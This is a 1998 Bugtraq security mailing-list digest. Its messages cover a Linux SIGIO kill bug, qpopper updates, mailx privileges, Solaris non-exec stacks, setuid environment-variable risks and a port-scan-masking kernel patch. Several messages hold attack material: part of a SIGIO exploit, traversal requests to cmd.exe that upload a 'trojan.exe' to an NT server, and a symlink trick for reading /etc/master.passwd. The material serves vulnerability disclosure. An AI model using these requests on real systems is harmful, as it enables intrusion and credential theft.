Date: Thu, 2 Jul 1998 00:03:48 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 30 Jun 1998 to 1 Jul 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980702020559Z291-4609+336@brimstone.netspace.org>
There are 15 messages totalling 502 lines in this issue.
Topics of the day:
1. Serious Linux 2.0.34 security problem (2)
2. Security vulnerabilities in MetaInfo products
3. patch for qpopper remote exploit bug
4. more problems with mailx
5. non-exec stacks on solaris. (2)
6. Environment variables (SECURITY: too many new packages) (2)
7. linux TCP/IP patch: ktcpd-strobemasker (2)
8. qpopper 2.51 (2)
9. vulnerability in satan, cops & tiger
10. Qpopper 2.52 (was Re: qpopper 2.51)
----------------------------------------------------------------------
Date: Tue, 30 Jun 1998 12:46:56 -0600
From: Theo de Raadt
Subject: Re: Serious Linux 2.0.34 security problem
> fcntl(0,F_SETOWN,p);
> s = fcntl(0,F_GETFL,0);
> fcntl(0,F_SETFL,s|O_ASYNC);
> printf("Sending SIGIO - press enter.\n");
> getchar();
> fcntl(0,F_SETFL,s&~O_ASYNC);
> printf("SIGIO send attempted.\n");
> return 0;
> }
Well, that looks like one of the class of security problems described
by www.openbsd.org/advisories/signals. Hasn't anyone else fixed those
problems yet?
------------------------------
Date: Tue, 30 Jun 1998 13:18:02 -0700
From: pedward@WEBCOM.COM
Subject: Re: Security vulnerabilities in MetaInfo products
> The MetaWeb server allows the running of NT batch/CMD files (this is how
> some
> of the Sendmail remote configuring works); if an attacker was to upload
> or produce a standard NT batch file, he could run any program he wishes.
>
>
> -Jeff Forristal
Ya know, the days of old where we had to use the COPY command to edit
the autoexec.bat come to mind:
An application that uses the following command could potentially upload a
binary to an NT server and run it:
GET ../../winnt/system32/cmd.exe?/c+copy+/b+con+c:\temp\trojan.exe HTTP/1.0
Or if you want to create a text file:
GET ../../winnt/system32/cmd.exe?/c+copy+con+c:\temp\trojan.txt HTTP/1.0
and terminate with a ^Z
Theoretically the commands above should work for the sendmail case that
Jeff explained.
--Perry
--
Perry Harrington System Software Engineer zelur xuniL ()
http://www.webcom.com perry.harrington@webcom.com Think Blue. /\
------------------------------
Date: Tue, 30 Jun 1998 15:35:32 -0400
From: der Mouse
Subject: Re: patch for qpopper remote exploit bug
> Today, snprintf and vsnprintf are required. Without them, there's
> some code in the libraries which cannot be written safely.
> ie:
> gen/syslog.c: prlen = vsnprintf(p, tbuf_left, fmt_cpy, ap);
Actually, stuff like this can be done just fine with what NetBSD (and
OpenBSD, presumably) calls funopen() - you don't actually {,v}snprintf.
Indeed, funopen() is a bit of a sledgehammer; all the rest of stdio
could be removed without losing any power (just convenience).
I actually prefer funopen() in most respects. In particular, it allows
things like printing into mallocked storage without having to impose a
length limit (which naive use of snprintf and strdup does).
stdio has desperately needed something like funopen() for a long time.
It was so egregiously missing that I hacked it into the 4.3 stdio back
when I was working with 4.3...I called it fopenfxn() and the interface
was a bit different, but it was basically the same idea.
der Mouse
mouse@rodents.montreal.qc.ca
7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B
------------------------------
Date: Tue, 30 Jun 1998 19:31:35 -0400
From: Nathan Dorfman
Subject: Re: more problems with mailx
On Mon, Jun 29, 1998 at 12:22:32PM -0400, Segv wrote:
> There seems to be some more problems with mailx. While browsing over the
> source, I found the code that handles the '!' command.
> (this appears in names.c)
>
> if ((shell = value("SHELL")) == NOSTR)
> shell = SHELL;
> execl(shell, shell, "-c", fname, 0);
>
> As you can see the value() function returns a pointer to the value of (the
> envoriment variable) SHELL. If SHELL isn't set it defaults to /bin/bash
> (consult local.h). Then execl() is called to execute the value that shell
> points too. So you can execute commands with sgid mail privs. One problem
> you may run into is shell's that drop privs if rgid != egid, so you could
> simply write a wrapper that calls setrgid(mail) then executes the specified
> command with sgid mail privs.
Nope. Check out main.c, line 56:
/*
* Absolutely the first thing we do is save our egid
* and set it to the rgid, so that we can safely run
* setgid. We use the sgid (saved set-gid) to allow ourselves
* to revert to the egid if we want (temporarily) to become
* priveliged.
*/
effectivegid= getegid();
realgid= getgid();
if (setgid(realgid) <0) { perror("mailx: setgid real"); exit(1); }
Now it's running with whatever priveleges you had. It switches back to
these priveleges in lock.c when it needs them, then immediately switches
back.
> segv
>
--
________________ ___________________________________________
/ Nathan Dorfman \ / "My problems start when the smarter bears
/ nathan@rtfm.net \/ and the dumber visitors intersect."
/ finger for PGP key \ Steve Thompson, Yosemite wildlife biologist
------------------------------
Date: Wed, 1 Jul 1998 23:09:33 +1000
From: Darren Reed
Subject: non-exec stacks on solaris.
not long ago, someone posted that you can disable execution of
instructions on the stack via /etc/system for solaris. There
appears to be three variables for this:
noexec_user_stack
noexec_user_stack_log
noexec_zfod_argsp
The first two are pretty obvious, but what about the third ?
Darren
------------------------------
Date: Wed, 1 Jul 1998 10:49:29 +0200
From: Pavel Kankovsky
Subject: Re: Environment variables (SECURITY: too many new packages)
On Wed, 1 Jul 1998, Alan Cox wrote:
> Bugtraq readers who haven't been following the Linux security audit
> project (from whence most of the Red Hat fixes came - and other vendors
> will I assume be issuing identical updates) might like to take a look
> at how their own OS handles pointing the following at files only root
> can read and running setuid apps. (or setgid usage in some cases such as
> Mutt)
> TZ
> TERMINFO
> TERMCAP
Add LANG, all LC_*, and various LD_* (esp. LD_*_OUTPUT) to the list.
--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
"You can't be truly paranoid unless you're sure they have already got you."
------------------------------
Date: Wed, 1 Jul 1998 11:18:23 -0400
From: Edward John Brocklesby
Subject: Re: Environment variables (SECURITY: too many new packages)
Hi,
>will I assume be issuing identical updates) might like to take a look
>at how their own OS handles pointing the following at files only root
>can read and running setuid apps. (or setgid usage in some cases such as
>Mutt)
On NetBSD, and perhaps other OS's, the file ~/.termcap is also checked,
so ln -s /etc/master.passwd ~/.termcap could get the root password
(I haven't tested this myself)
-ejb
------------------------------
Date: Wed, 1 Jul 1998 15:17:22 +0200
From: Casper Dik
Subject: Re: non-exec stacks on solaris.
>
>not long ago, someone posted that you can disable execution of
>instructions on the stack via /etc/system for solaris. There
>appears to be three variables for this:
>
>noexec_user_stack
>noexec_user_stack_log
>noexec_zfod_argsp
>
>The first two are pretty obvious, but what about the third ?
The first two (new in 2.6) are, indeed, obvious. (Note that they
exist in all kernels but only work on sun4m/sun4d and Ultras)
Noexec_zfod_argsp is the variable used by the mechanism internally;
it's the argument pointer used to initialize the page protection
by the stack. It's not a variable you can set.
(i.e., the variable contains the protection bits as used on a
"noexec" zero-fill-on-demand page.
Casper
------------------------------
Date: Wed, 1 Jul 1998 12:45:35 +0300
From: Liviu Daia
Subject: Re: Serious Linux 2.0.34 security problem
On 30 June 1998, David Luyer wrote:
> I just saw this mentioned on linux-kernel and confirmed it;
>
[ sample exploit deleted ]
>
> This can kill from a normal user account the inetd process under Linux
> 2.0.34 by sending a SIGIO. Very bad.
>
> The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line
> number is approximately 139.
On 1 July 1998, Alan Cox wrote:
> Bugtraq readers who haven't been following the Linux security audit
> project (from whence most of the Red Hat fixes came - and other
> vendors will I assume be issuing identical updates) might like to take
> a look at how their own OS handles pointing the following at files
> only root can read and running setuid apps. (or setgid usage in some
> cases such as Mutt)
> TZ
> TERMINFO
> TERMCAP
[...]
>
> A PS item btw: 2.0.35pre3 fixes the bug reported with SIGIO, and
> it should be out as 2.0.35 proper RSN - 2.0.35pre3 is a release
> candidate. We hadn't planned on a 2.0.35 release quite that soon but
> such is life.
Unfortunately, this fix seems to also break programs using SIGIO for
legitimate purposes --- like MC with subshell support. Personally, I'm
not enough familiar with the internals of either the Linux kernel or MC
to attempt to find out what's wrong with the new SIGIO handling, but you
might want to address this problem before releasing 2.0.35. I'm sure
there's a better way to fix all this.
On a completely unrelated topic, but since you mentioned Mutt:
the new handling of locales in Linux libc's 5.4.45 and 5.4.46 breaks
NLS support in binaries with either the setuid or the setgid bits
set. Mutt on Linux f.i. can't print accented characters any longer,
because isprint() now assumes the "C" locales in setgid programs. Pavel
Kankovsky (the author of this change) commented that "setuid programs
should be secure, not user friendly". Now, while I basically agree with
this statement (the implication for Mutt being that it should use an
external program to manage locking), there's probably a way to fix that
kind of problems without crippling the system. :-)
Regards,
Liviu
--
Dr. Liviu Daia e-mail: daia@stoilow.imar.ro
Institute of Mathematics web page: http://www.imar.ro/~daia
of the Romanian Academy PGP key: finger daia@stoilow.imar.ro
------------------------------
Date: Wed, 1 Jul 1998 00:54:25 -0500
From: Jesse Off
Subject: linux TCP/IP patch: ktcpd-strobemasker
Having just seen the abacus project and its method of detecting and
masking strobes in user-space, and from the advice of a friend, I thought
I'd mention to yall that about 7 months ago, I wrote a patch to the linux
kernel to do most of what the abacus project is claiming to do now. I
didn't really announce it to any security lists/groups before now.
Although its a kernel patch, I believe its a much cleaner way to do strobe
protection on linux and masking them if you don't mind the patching
thingy. This way, I can utilize the kernels TCP/IP existingstate machine
and don't have to have a separate userspace process reimplement it and
poll packets coming in.
Anyway, this patch does a few things in its 4kbytes entirety :-)
* detects all forms of strobes (including stealth strobes AND UDP strobes)
using a heuristic based on the rate of refused connections/bad packets
coming in. (works to detect all strobes I've seen: nmap, strobe,
tcpscan...)
* logs all strobe attempts
* when a TCP or UDP strobe is detected, start refusing all connections
from this IP until attempts have stopped for a specifed amount of time.
* log all TCP connection accepts in a form containing ip, port, uid of
accepting process and accepting process name and pid. For example:
Jul 1 00:19:20 redsecret kernel: TCP connection accepted: ip=127.0.0.1
port=22 uid=0 process=sshd[263]
* log unexpected packets with their syn,fin,ack,and rst flags
* log rejected UDP packets (no logging accepted UDP packets cause thats
crazy)
* log common ICMP packets
So basically, when someone strobes you, you look like a Macintosh.
Up till now, I thought I was wasting energy writing this thing,
and still think that this sort of thing is kind of a waste of time, I
wrote it for fun and fun only. I do not claim to be a security
professional, just a tinkerer, so use at your own risk. I personally
have been running this thing for 7 months now, and its got its share
of torture testing by me, and seems relatively stable. This patch works
on the 2.0.x kernels and there isn't one for 2.1.x yet either. (mainly
because I don't run the 2.1.x's on my personal machine) When that day
comes, you can expect a new patch, but until then, everyones free to get
it to work on their 2.1.x kernel and send me the patch ;-) It should be
really easy.
So, if you wanna give it a try (and tell me of
success/failures/suggestions) its at:
ftp://isufug.ee.iastate.edu/pub/ktcpd
http://isufug.ee.iastate.edu/~joff
~Jesse Off
------------------------------
Date: Wed, 1 Jul 1998 11:04:52 -0500
From: Aleph One
Subject: qpopper 2.51
Well, it seems Qualcomm was moving stuff around last night. There is a
new version of qpopper out. It fixes the bulletins bug and changes the
licensing.
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.51.tar.Z
Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
------------------------------
Date: Thu, 2 Jul 1998 05:45:09 +1000
From: Julian Assange
Subject: Re: linux TCP/IP patch: ktcpd-strobemasker
> * when a TCP or UDP strobe is detected, start refusing all connections
> from this IP until attempts have stopped for a specifed amount of time.
>
> ~Jesse Off
>
Nice, but the example I've quoted above leads to an obvious and
very effective selective denial of service attack.
Cheers,
Julian.
------------------------------
Date: Wed, 1 Jul 1998 15:45:13 -0400
From: "Adam H. Pendleton"
Subject: Re: vulnerability in satan, cops & tiger
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
I just wanted to let the list know that we dropped SAINT onto the Web
site this morning (finally!). I'd really like to hear what people
think about it. Check out http://www.wwdsi.com/saint for the program.
It's free of course (otherwise I wouldn't be posting it here). Also,
I apologize to anyone who downloaded it and found the 'reconfig'
programming missing. I did a `rm` mistake and it got eaten. Download
it again, the new one is fixed.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.5.5
iQA/AwUBNZqRxWYLr94Yt2JdEQLESgCfcudYe4Kwo5wnZ+OPt0CQ+lWa0EUAnjJt
XlhEUf7GV1kFiw5fOOxFt+DD
=Toc5
-----END PGP SIGNATURE-----
------------------------------
Date: Thu, 2 Jul 1998 08:33:43 +1000
From: Mark.Andrews@CMIS.CSIRO.AU
Subject: Re: qpopper 2.51
> Well, it seems Qualcomm was moving stuff around last night. There is a
> new version of qpopper out. It fixes the bulletins bug and changes the
> licensing.
>
> ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.51.tar.Z
>
> Aleph One / aleph1@dfw.net
> http://underground.org/
> KeyID 1024/948FD6B5
> Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
>
It looks like they have pulled 2.51.
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.52.tar.Z
--
Mark Andrews, CSIRO Mathematical and Information Sciences
Locked Bag 17, North Ryde, NSW 1670, Australia.
PHONE: +61 2 9325 3148 INTERNET: Mark.Andrews@cmis.csiro.au
MOBIL: +61 41 442 9884 UUCP:....!uunet!cmis.csiro.au!mark.andrews
------------------------------
Date: Wed, 1 Jul 1998 16:04:17 -0700
From: Laurence Lundblade
Subject: Qpopper 2.52 (was Re: qpopper 2.51)
Indeed things were moving around, though it wasn't quite a good thing. We
had some trouble with our FTP server configuration. It has been resolved.
We also have a few new fixes to qpopper.
The current version is qpopper2.52. It fixes a few problems with bulletins,
and some compilation issues with strerror() on some UNIXs that occured in
2.5.
The official location is:
ftp://ftp.qualcomm.com/eudora/servers/unix/popper
Hopefully that puts an end to this issue. Sorry about the problems with the
ftp server.
Also I'll mention that we're planning a qpopper 3.0 that will fix a few
more bugs that we know about (not security holes, I assure you). We have
proposed a general POP extension mechanism that has passed last call with
the IETF and is awaiting approval by the area director and the IESG and
publication as an RFC. Qpopper 3.0 will support it.
LL
At 11:04 AM -0500 7/1/98, Aleph One wrote:
>Well, it seems Qualcomm was moving stuff around last night. There is a
>new version of qpopper out. It fixes the bulletins bug and changes the
>licensing.
>
>ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper2.51.tar.Z
>
>Aleph One / aleph1@dfw.net
>http://underground.org/
>KeyID 1024/948FD6B5
>Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
------------------------------
End of BUGTRAQ Digest - 30 Jun 1998 to 1 Jul 1998
*************************************************